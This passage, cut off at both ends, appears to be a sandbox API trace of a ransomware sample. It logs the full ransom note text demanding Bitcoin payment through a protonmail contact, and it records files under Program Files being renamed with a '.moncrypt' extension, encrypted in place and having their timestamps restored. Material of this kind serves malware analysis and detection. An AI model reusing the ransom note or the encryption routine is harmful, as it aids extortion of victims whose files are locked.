(Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.218] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446f93c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x446f93c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x446f93c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0059.218] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0059.218] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0059.218] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.219] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.219] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0059.219] CloseHandle (hObject=0x18c) returned 1 [0059.219] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0059.219] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.219] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.219] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.219] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.219] GlobalUnlock (hMem=0x44000c) returned 0 [0059.219] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.219] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.220] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.220] GlobalUnlock (hMem=0x44000c) returned 0 [0059.220] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.220] GlobalUnlock (hMem=0x440004) returned 0 [0059.220] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.220] CharLowerBuffW (in: lpsz="sql70.xsl", cchLength=0x9 | out: lpsz="sql70.xsl") returned 0x9 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", lpUsedDefaultChar=0x0) returned 77 [0059.221] CharLowerBuffW (in: lpsz=".xsl", cchLength=0x4 | out: lpsz=".xsl") returned 0x4 [0059.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsl", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xslices\\AS OLEDB\\10\\Cartridges\\sql70.xsl", lpUsedDefaultChar=0x0) returned 4 [0059.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 0x54e280 [0059.221] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0059.221] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0059.221] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", dwFileAttributes=0x20) returned 1 [0059.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.moncrypt")) returned 1 [0059.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.223] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.223] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x7d92 [0059.223] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.223] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0059.230] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.231] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.231] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.231] GlobalUnlock (hMem=0x44000c) returned 0 [0059.231] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.231] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.231] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.231] GlobalUnlock (hMem=0x44000c) returned 0 [0059.231] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.231] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.231] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.231] GlobalUnlock (hMem=0x440004) returned 0 [0059.231] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.231] GlobalUnlock (hMem=0x44000c) returned 0 [0059.231] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.231] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.232] GlobalUnlock (hMem=0x44000c) returned 0 [0059.232] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.232] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.232] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.232] GlobalUnlock (hMem=0x44000c) returned 0 [0059.232] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0059.232] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0059.232] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0059.232] SetFilePointer (in: hFile=0x18c, lDistanceToMove=32146, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x7d92 [0059.232] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0059.232] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0059.232] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.244] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0059.244] CloseHandle (hObject=0x18c) returned 1 [0059.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.245] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0059.245] CloseHandle (hObject=0x18c) returned 1 [0059.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.moncrypt", dwFileAttributes=0x20) returned 1 [0059.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.245] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.245] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.245] GlobalUnlock (hMem=0x44000c) returned 0 [0059.245] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.245] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.245] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.245] GlobalUnlock (hMem=0x44000c) returned 0 [0059.245] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.245] GlobalUnlock (hMem=0x440004) returned 0 [0059.246] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446f93c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x446f93c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x446f93c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0059.246] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0059.246] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0059.246] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.246] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.246] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.246] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.246] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.246] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.246] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.246] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0059.247] CloseHandle (hObject=0x18c) returned 1 [0059.247] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0059.247] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.247] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.247] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.247] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.247] GlobalUnlock (hMem=0x440004) returned 0 [0059.247] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.247] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.247] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.247] GlobalUnlock (hMem=0x440004) returned 0 [0059.247] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.247] GlobalUnlock (hMem=0x44000c) returned 0 [0059.247] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.247] CharLowerBuffW (in: lpsz="sql90.xsl", cchLength=0x9 | out: lpsz="sql90.xsl") returned 0x9 [0059.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", lpUsedDefaultChar=0x0) returned 77 [0059.248] CharLowerBuffW (in: lpsz=".xsl", cchLength=0x4 | out: lpsz=".xsl") returned 0x4 [0059.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsl", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xslices\\AS OLEDB\\10\\Cartridges\\sql90.xsl", lpUsedDefaultChar=0x0) returned 4 [0059.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, 